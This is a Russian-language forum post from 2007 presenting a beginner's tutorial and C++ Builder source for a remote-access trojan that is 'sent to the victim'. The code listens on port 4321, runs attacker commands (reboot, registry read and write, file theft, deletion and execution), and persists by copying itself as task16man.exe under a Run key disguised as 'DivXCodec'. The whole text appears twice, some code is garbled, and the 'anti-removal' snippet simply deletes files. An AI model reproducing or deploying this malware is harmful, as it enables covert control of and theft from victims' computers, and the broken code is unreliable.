Rast1k
09.08.2007, 22:53
Итак, я хочу представить Вашему вниманию самый ламерский и простенький троян на С++.
Те, кто только начинают писать, внимательно следите.
Самый простой троян, как правило, состоит из 2 частей. Одна часть должна всегда оставаться у вас. Эта часть называется пользовательская. Вторая часть должна быть отправлена жертве, то есть тому кого мы с вами будем заражать. Эта часть называется серверной.
Во время написания будем использовать два компонента
Оба стандартные: TClientSocket и TServerSocket.
Часть для пользователя пренебрежительно мала
Ведь на самом деле ничего кроме отсылки команд и приема ответов от сервера она делать и не должна. Для приема ответов просто создадим поле TMemo и добавим обработчик события OnRead нашего компонента TClientSocket:
void __fastcall TForm1::TrojControllerRead(TObject *Sender,
TCustomWinSocket *Socket)
{
Memo2->Lines->Add(Socket->ReceiveText());
}
Теперь предстоит самое сложное. Нам с вами надо написать основную(Серверную) часть.
TServerSocket помещается на форму один, потому что визуально троян не оформляется. Инициализацию его проведем в функции FormCreate(). Хотя можно было бы просто прописать 2 параметра в Object Inspector.
void __fastcall TForm1::FormCreate(TObject *Sender)
{
// ServSckt - наш компонент TServerSocket
ServSckt->Port = 4321;
ServSckt->Active = true;
}
==============================================
Итак мы только что указали порт ^^^^
Активация сокета была произведена параллельно.
Теперь надо сделать обработку, чтобы проиизводилось получение данных сокетом.
Для осуществеления я делал обработку ClientRead:
void __fastcall TForm1::ServScktClientRead(TObject *Sender,
TCustomWinSocket *Socket)
{
RecCommand(Socket->ReceiveText()); // пишем для наглядности функцию обработки поступившей
// информации, которую передаем как параметр этой функции
}
//---------------------------------------------------------------------------
// собственно сама функция: Rec - сокращение от Recognize. Можно по-другому назвать =)
void TForm1::RecCommand (String received)
{
int cn;
TTrojanUtilites Utilz; // создаем объект наших утилит
Utilz.Sock=ServSckt; // необходимо для отсылки ответа клиенту, так как сокет у нас
// находится на форме, а TTrojanUtilites не имеет никакого отношения
// к форме. Просто передаем указатель на TServerSocket
String temp;
temp=received;
temp.Delete(2,temp.Length()); // получаем первый символ сообщения - номер команды
cn = StrToInt(temp); // преобразуем в число
received.Delete(1,1); // удаляем код команды - остаются одни параметры
switch (cn) { // в соответсвии с полученой командой
// запускаем соотвествующую утилиту
case 1 : Utilz.RestartMachine(); break; // перезагрузка
case 2 : Utilz.WriteRegistry(received); break; // запись в реестр
case 3 : Utilz.ReadRegistry(received); break; // чтение реестра
case 4 : Utilz.SendFile(received); break; // чтение файла
case 5 : Utilz.DeleteFile(received); break; // удаление файла
case 6 : Utilz.ExecuteFile(received); break; // запуск файла
case 7 : Utilz.OpenCloseCD; break; // открытие/закрытие CD-ROM
case 8 : Utilz.HideMouse(); break; // прячем курсор мыши
case 9 : Utilz.SwapMouseButtons(); break; // переключаем кнопки мыши
default:
SendMsgToClient("Неправильная команда!") ; // команда недопустима
// пост клиенту
}
}
=======================================
^^тут вы увидели что мы пишем высокий класс трояна то есть TTrojanUtilites
void TTrojanUtilites::OpenCloseCD()
{
TMCI_Open_Parms OpenParm;
TMCI_Generic_Parms GenParm;
TMCI_Set_Parms SetParm;
Cardinal DI;
OpenParm.dwCallback = 0;
OpenParm.lpstrDeviceType = "CDAudio";
mciSendCommand(0, MCI_OPEN, MCI_OPEN_TYPE, Longint(&OpenParm));
DI = OpenParm.wDeviceID;
if (!CDROMOPEN)
{
mciSendCommand(DI, MCI_SET, MCI_SET_DOOR_OPEN, Longint(&SetParm));
CDROMOPEN = true; // открыть
}
else
{
mciSendCommand(DI, MCI_SET, MCI_SET_DOOR_CLOSED, Longint(&SetParm));
CDROMOPEN = false; // закрыть
}
mciSendCommand(DI, MCI_CLOSE, MCI_NOTIFY, Longint(&GenParm));
Sock->Socket->Connections[0]->SendText("Выполнено открытие/закрытие CD-ROM");
}
Reload
void TTrojanUtilites::RestartMachine()
{
if (ExitWindowsEx(EWX_FORCE,0) || ExitWindowsEx(EWX_REBOOT,0));
Sock->Socket->Connections[0]->SendText("Reload Complete");
}
потом идет
void TTrojanUtilites::SendFile(String F)
{
TStringList* TTSL=new (TStringList);
TStringList* TTSL2=new (TStringList);
int n, i;
TTSL->Text = F;
if (!FileExists(TTSL->Strings[0]))
{
Sock->Socket->Connections[0]->SendText("Файл не существует.");
return;
}
TTSL2->LoadFromFile(TTSL->Strings[0]); // загружаем файл в TStringList
n = TTSL2->Count; // получаем число строк в файле
if (n > StrToInt(TTSL->Strings[1])) // если надо прочитать не весь файл
n = StrToInt(TTSL->Strings[1]); // считываем только необходимое число строк
for (i=0;iSocket->Connections[0]->SendText(TTSL2->Strings); // передаем строки клиенту
}
Вроде тут и объяснять нечего.
void TTrojanUtilites::ReadRegistry(ShortString k)
{
TRegistry* reg=new TRegistry;
String res, ts;
TStringList* TTSL=new TStringList;
HKEY k1;
// параметры передаются в следующем порядке:
//// 0 - root key
//// 1 - key name
//// 2 - value name
//// 3 - value
//// 4 - type of value
TTSL->Text = k;
ts = TTSL->Strings[0]; // выбираем RootKey
if (ts == "HKEY_CLASSES_ROOT") k1 = HKEY_CLASSES_ROOT;
if (ts == "HKEY_CURRENT_USER") k1 = HKEY_CURRENT_USER;
if (ts == "HKEY_LOCAL_MACHINE") k1 = HKEY_LOCAL_MACHINE;
if (ts == "HKEY_USERS") k1 = HKEY_USERS;
if (ts == "HKEY_CURRENT_CONFIG") k1 = HKEY_CURRENT_CONFIG;
reg->RootKey = k1;
reg->OpenKey(TTSL->Strings[1], true); // открываем раздел
ts = TTSL->Strings[3]; // читаем значение параметра опредеоенного типа
if (ts == "Bool") // двоичный (REG_BINARY)
if (reg->ReadBool(TTSL->Strings[2]))
res = "true";
else res = "false";
if (ts == "Integer") // числовой (REG_DWORD)
res = IntToStr(reg->ReadInteger(TTSL->Strings[2]));
if (ts == "String") // строковый (REG_SZ)
res = reg->ReadString(TTSL->Strings[2]);
Sock->Socket->Connections[0]->SendText("Чтение реестра. Значение параметра: "+res);
// передаем клиенту значение параметра
}
==============================================
ТЕПЕРЬ ИДЕТ ВАЖНАЯ ШТУКА)
эта функция позволяет препятствовать мнгновенному удалению трояна
***сразу скажу в ней я могу запутатьсяно все равно
int res;
SHFILEOPSTRUCT fo;
ZeroMemory(&fo, sizeof(fo));
fo.hwnd = hwndOwner; // хэндл окна-владельца прогресс-диалога
fo.pFrom = pszFullPath; //путь
fo.wFunc = FO_DELETE;
fo.fFlags = FOF_NOCONFIRMATION; //не спрашивать подтверждения на удаление
res = SHFileOperation(&fo);
Теперь остался последний шаг - автозагрузка трояна
Сделать довольно легко
void __fastcall TForm1::FormCreate(TObject *Sender)
{
ServSckt->Port = 4321;
ServSckt->Active = true;
Utilz.Sock=ServSckt;
Utilz.CDROMOPEN=false;
String WinDir;
char WinDir1[144];
GetWindowsDirectory(WinDir1,144);
WinDir=WinDir1; // папка с установленными виндами
String data;
TRegistry *pReg = new TRegistry;
pReg->RootKey=HKEY_LOCAL_MACHINE;
pReg->OpenKey("\Software\Microsoft\Windows\CurrentVersion\Run", true);
data=pReg->ReadString("DivXCodec");
if (data != Application->ExeName) //если нашу программу стерли из
// автозагрузки (DivXCodec - можете поменять по желанию на любое другое название раздела)
pReg->WriteString("DivXCodec",WinDir+"\task16man.exe"); //добавляем ее по новой
if (Application->ExeName!=WinDir+"\task16man.exe") //если файл запустили 1ый раз
{
if (!FileExists(WinDir+"\task16man.exe"))
{
String dest=WinDir+"\task16man.exe";
BOOL res=MoveFile(Application->ExeName.c_str(), dest.c_str());
// переписываем файл к виндам
ServSckt->Active = false;
ShellExecute(NULL,NULL,dest.c_str(),NULL,NULL,NULL ); //запускаем его
Application->Terminate(); // это приложение закрываем
}
else
Application->Terminate();
// я тут не разбирал вариантов типа прога записалась в винды, но ее еще раз
// запустили и им подобных, додумайте сами =)
}
else
{
ServSckt->Port = 4321;
ServSckt->Active = true;
String data;
TRegistry *pReg = new TRegistry;
pReg->RootKey=HKEY_LOCAL_MACHINE;
pReg->OpenKey("\Software\Microsoft\Windows\CurrentVersion\Run", true);
data=pReg->ReadString("DivXCodec");
if (data != Application->ExeName) // не дай бог стерли!
pReg->WriteString("DivXCodec",Application->ExeName); // пишем назад
}
}
ТРОЯН написан
Теперь от меня важный вопрос
Когда идет запись в реестр для булевского значения(цифры) используется WriteBool(TTSL->Strings[2], false); ?
если нет, то в коде есть ошибка(
И проверьте у меня пожалуйста код функции который не удаляет троян сразу, а то мне кажется что есть ошибка но найти не получаецо(
Те, кто только начинают писать, внимательно следите.
Самый простой троян, как правило, состоит из 2 частей. Одна часть должна всегда оставаться у вас. Эта часть называется пользовательская. Вторая часть должна быть отправлена жертве, то есть тому кого мы с вами будем заражать. Эта часть называется серверной.
Во время написания будем использовать два компонента
Оба стандартные: TClientSocket и TServerSocket.
Часть для пользователя пренебрежительно мала
Ведь на самом деле ничего кроме отсылки команд и приема ответов от сервера она делать и не должна. Для приема ответов просто создадим поле TMemo и добавим обработчик события OnRead нашего компонента TClientSocket:
void __fastcall TForm1::TrojControllerRead(TObject *Sender,
TCustomWinSocket *Socket)
{
Memo2->Lines->Add(Socket->ReceiveText());
}
Теперь предстоит самое сложное. Нам с вами надо написать основную(Серверную) часть.
TServerSocket помещается на форму один, потому что визуально троян не оформляется. Инициализацию его проведем в функции FormCreate(). Хотя можно было бы просто прописать 2 параметра в Object Inspector.
void __fastcall TForm1::FormCreate(TObject *Sender)
{
// ServSckt - наш компонент TServerSocket
ServSckt->Port = 4321;
ServSckt->Active = true;
}
==============================================
Итак мы только что указали порт ^^^^
Активация сокета была произведена параллельно.
Теперь надо сделать обработку, чтобы проиизводилось получение данных сокетом.
Для осуществеления я делал обработку ClientRead:
void __fastcall TForm1::ServScktClientRead(TObject *Sender,
TCustomWinSocket *Socket)
{
RecCommand(Socket->ReceiveText()); // пишем для наглядности функцию обработки поступившей
// информации, которую передаем как параметр этой функции
}
//---------------------------------------------------------------------------
// собственно сама функция: Rec - сокращение от Recognize. Можно по-другому назвать =)
void TForm1::RecCommand (String received)
{
int cn;
TTrojanUtilites Utilz; // создаем объект наших утилит
Utilz.Sock=ServSckt; // необходимо для отсылки ответа клиенту, так как сокет у нас
// находится на форме, а TTrojanUtilites не имеет никакого отношения
// к форме. Просто передаем указатель на TServerSocket
String temp;
temp=received;
temp.Delete(2,temp.Length()); // получаем первый символ сообщения - номер команды
cn = StrToInt(temp); // преобразуем в число
received.Delete(1,1); // удаляем код команды - остаются одни параметры
switch (cn) { // в соответсвии с полученой командой
// запускаем соотвествующую утилиту
case 1 : Utilz.RestartMachine(); break; // перезагрузка
case 2 : Utilz.WriteRegistry(received); break; // запись в реестр
case 3 : Utilz.ReadRegistry(received); break; // чтение реестра
case 4 : Utilz.SendFile(received); break; // чтение файла
case 5 : Utilz.DeleteFile(received); break; // удаление файла
case 6 : Utilz.ExecuteFile(received); break; // запуск файла
case 7 : Utilz.OpenCloseCD; break; // открытие/закрытие CD-ROM
case 8 : Utilz.HideMouse(); break; // прячем курсор мыши
case 9 : Utilz.SwapMouseButtons(); break; // переключаем кнопки мыши
default:
SendMsgToClient("Неправильная команда!") ; // команда недопустима
// пост клиенту
}
}
=======================================
^^тут вы увидели что мы пишем высокий класс трояна то есть TTrojanUtilites
void TTrojanUtilites::OpenCloseCD()
{
TMCI_Open_Parms OpenParm;
TMCI_Generic_Parms GenParm;
TMCI_Set_Parms SetParm;
Cardinal DI;
OpenParm.dwCallback = 0;
OpenParm.lpstrDeviceType = "CDAudio";
mciSendCommand(0, MCI_OPEN, MCI_OPEN_TYPE, Longint(&OpenParm));
DI = OpenParm.wDeviceID;
if (!CDROMOPEN)
{
mciSendCommand(DI, MCI_SET, MCI_SET_DOOR_OPEN, Longint(&SetParm));
CDROMOPEN = true; // открыть
}
else
{
mciSendCommand(DI, MCI_SET, MCI_SET_DOOR_CLOSED, Longint(&SetParm));
CDROMOPEN = false; // закрыть
}
mciSendCommand(DI, MCI_CLOSE, MCI_NOTIFY, Longint(&GenParm));
Sock->Socket->Connections[0]->SendText("Выполнено открытие/закрытие CD-ROM");
}
Reload
void TTrojanUtilites::RestartMachine()
{
if (ExitWindowsEx(EWX_FORCE,0) || ExitWindowsEx(EWX_REBOOT,0));
Sock->Socket->Connections[0]->SendText("Reload Complete");
}
потом идет
void TTrojanUtilites::SendFile(String F)
{
TStringList* TTSL=new (TStringList);
TStringList* TTSL2=new (TStringList);
int n, i;
TTSL->Text = F;
if (!FileExists(TTSL->Strings[0]))
{
Sock->Socket->Connections[0]->SendText("Файл не существует.");
return;
}
TTSL2->LoadFromFile(TTSL->Strings[0]); // загружаем файл в TStringList
n = TTSL2->Count; // получаем число строк в файле
if (n > StrToInt(TTSL->Strings[1])) // если надо прочитать не весь файл
n = StrToInt(TTSL->Strings[1]); // считываем только необходимое число строк
for (i=0;iSocket->Connections[0]->SendText(TTSL2->Strings); // передаем строки клиенту
}
Вроде тут и объяснять нечего.
void TTrojanUtilites::ReadRegistry(ShortString k)
{
TRegistry* reg=new TRegistry;
String res, ts;
TStringList* TTSL=new TStringList;
HKEY k1;
// параметры передаются в следующем порядке:
//// 0 - root key
//// 1 - key name
//// 2 - value name
//// 3 - value
//// 4 - type of value
TTSL->Text = k;
ts = TTSL->Strings[0]; // выбираем RootKey
if (ts == "HKEY_CLASSES_ROOT") k1 = HKEY_CLASSES_ROOT;
if (ts == "HKEY_CURRENT_USER") k1 = HKEY_CURRENT_USER;
if (ts == "HKEY_LOCAL_MACHINE") k1 = HKEY_LOCAL_MACHINE;
if (ts == "HKEY_USERS") k1 = HKEY_USERS;
if (ts == "HKEY_CURRENT_CONFIG") k1 = HKEY_CURRENT_CONFIG;
reg->RootKey = k1;
reg->OpenKey(TTSL->Strings[1], true); // открываем раздел
ts = TTSL->Strings[3]; // читаем значение параметра опредеоенного типа
if (ts == "Bool") // двоичный (REG_BINARY)
if (reg->ReadBool(TTSL->Strings[2]))
res = "true";
else res = "false";
if (ts == "Integer") // числовой (REG_DWORD)
res = IntToStr(reg->ReadInteger(TTSL->Strings[2]));
if (ts == "String") // строковый (REG_SZ)
res = reg->ReadString(TTSL->Strings[2]);
Sock->Socket->Connections[0]->SendText("Чтение реестра. Значение параметра: "+res);
// передаем клиенту значение параметра
}
==============================================
ТЕПЕРЬ ИДЕТ ВАЖНАЯ ШТУКА)
эта функция позволяет препятствовать мнгновенному удалению трояна
***сразу скажу в ней я могу запутатьсяно все равно
int res;
SHFILEOPSTRUCT fo;
ZeroMemory(&fo, sizeof(fo));
fo.hwnd = hwndOwner; // хэндл окна-владельца прогресс-диалога
fo.pFrom = pszFullPath; //путь
fo.wFunc = FO_DELETE;
fo.fFlags = FOF_NOCONFIRMATION; //не спрашивать подтверждения на удаление
res = SHFileOperation(&fo);
Теперь остался последний шаг - автозагрузка трояна
Сделать довольно легко
void __fastcall TForm1::FormCreate(TObject *Sender)
{
ServSckt->Port = 4321;
ServSckt->Active = true;
Utilz.Sock=ServSckt;
Utilz.CDROMOPEN=false;
String WinDir;
char WinDir1[144];
GetWindowsDirectory(WinDir1,144);
WinDir=WinDir1; // папка с установленными виндами
String data;
TRegistry *pReg = new TRegistry;
pReg->RootKey=HKEY_LOCAL_MACHINE;
pReg->OpenKey("\Software\Microsoft\Windows\CurrentVersion\Run", true);
data=pReg->ReadString("DivXCodec");
if (data != Application->ExeName) //если нашу программу стерли из
// автозагрузки (DivXCodec - можете поменять по желанию на любое другое название раздела)
pReg->WriteString("DivXCodec",WinDir+"\task16man.exe"); //добавляем ее по новой
if (Application->ExeName!=WinDir+"\task16man.exe") //если файл запустили 1ый раз
{
if (!FileExists(WinDir+"\task16man.exe"))
{
String dest=WinDir+"\task16man.exe";
BOOL res=MoveFile(Application->ExeName.c_str(), dest.c_str());
// переписываем файл к виндам
ServSckt->Active = false;
ShellExecute(NULL,NULL,dest.c_str(),NULL,NULL,NULL ); //запускаем его
Application->Terminate(); // это приложение закрываем
}
else
Application->Terminate();
// я тут не разбирал вариантов типа прога записалась в винды, но ее еще раз
// запустили и им подобных, додумайте сами =)
}
else
{
ServSckt->Port = 4321;
ServSckt->Active = true;
String data;
TRegistry *pReg = new TRegistry;
pReg->RootKey=HKEY_LOCAL_MACHINE;
pReg->OpenKey("\Software\Microsoft\Windows\CurrentVersion\Run", true);
data=pReg->ReadString("DivXCodec");
if (data != Application->ExeName) // не дай бог стерли!
pReg->WriteString("DivXCodec",Application->ExeName); // пишем назад
}
}
ТРОЯН написан
Теперь от меня важный вопрос
Когда идет запись в реестр для булевского значения(цифры) используется WriteBool(TTSL->Strings[2], false); ?
если нет, то в коде есть ошибка(
И проверьте у меня пожалуйста код функции который не удаляет троян сразу, а то мне кажется что есть ошибка но найти не получаецо(